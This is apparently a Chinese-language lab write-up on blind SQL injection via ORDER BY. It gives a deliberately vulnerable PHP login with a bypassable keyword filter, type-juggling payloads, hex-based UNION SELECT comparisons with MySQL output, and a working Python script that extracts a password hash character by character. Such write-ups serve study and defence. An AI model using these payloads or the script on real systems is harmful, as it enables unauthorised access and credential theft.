基于order by的盲注
http://wonderkun.cc/index.html/?p=547
源代码:
<?php
$dbhost = "172.19.0.2";
$dbuser = "root";
$dbpass = "root";
$db = "vul";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");
/* sql
create table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the ";
}
?>
在上面这个源代码里面,要首先猜解出username的值,文章里面给的payload是
username='^1^1#&password=1
其实上面的payload初看是不太懂的,才想起来mysql里面弱类型转换的问题,如下:
就是sql语句查询如果username是0的话,所有结果就出来了,那么把这个username变成0,上面的语句都可以做到:
select * from admin where username=''*0
select * from admin where username=''/2
select * from admin where username=''^1^1
select * from admin where username=''-''
然后是基于order by的盲注:
首先是基本知识:
import sting
string.maketrans('','')[33:127]
'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
mysql里面的字符串会默认按照上面这个数值的大小从小到大排列,看下图:
比719大的字符串是719;
,但是直接比较的话,mysql是会出错的。所以需要转换为16进制来比较。
总的来说就是拿16进制之后的字符串和admin的密码进行比较,比admin大的话,按照上面php的逻辑,在username为admin2的情况下
username=admin2' union select 1,2,0x37313921 order by 3 desc#&password=1 //返回结果admin2
username=admin2' union select 1,2,0x3731393B order by 3 desc#&password=1 //返回结果是2
另外跑出来的都会是大写,看下面的语句:
mysql> select hex('c');
+----------+
| hex('c') |
+----------+
| 63 |
+----------+
1 row in set (0.00 sec)
mysql> select hex('C');
+----------+
| hex('C') |
+----------+
| 43 |
+----------+
1 row in set (0.00 sec)
mysql> select * from admin where id=2 union select 1,2,0x3731393563 order by 3 desc;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 2 | admin2 | 7195ca99696b5a896d067a0fa9dc61a6 |
| 1 | 2 | 7195c |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from admin where id=2 union select 1,2,0x3731393543 order by 3 desc;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 2 | admin2 | 7195ca99696b5a896d067a0fa9dc61a6 |
| 1 | 2 | 7195C |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
在mysql里面大小写比较是一样的,即使实际上c
的hex要比C
大,在python脚本里面按照排列算的话,大写在前面。
上面实际测试,大小写和^
比较结果一样,然后费了点时间自己下个脚本复现了下,最后的脚本(中间加的没用的东西是自己调试用的):
#/usr/bin/env python
# coding: utf-8
import string
import requests
cest = string.maketrans('', '')[33:127]
url = "http://127.0.0.1/c.php"
res = ''
i = 0
while 1:
# payload = res.strip('').encode('hex') + cest[i:i+1].encode('hex')
payload = (res + cest[i:i+1]).encode('hex')
tmp = {'username': "admin' union select 1,2,0x"+ payload + " order by 3 desc#", "password": '1'}
req = requests.post(url, data=tmp, headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"} )
c = req.content
b = req.content.find('admin')
if req.content.find('admin') != -1:
i += 1
continue
else:
res = res + chr(ord(cest[i]) - 1)
print res
i = 0
最后,如果要实战中成功条件:
- 确定union的列数
- 有二值判断的逻辑存在
貌似没了。。。想到再补充吧。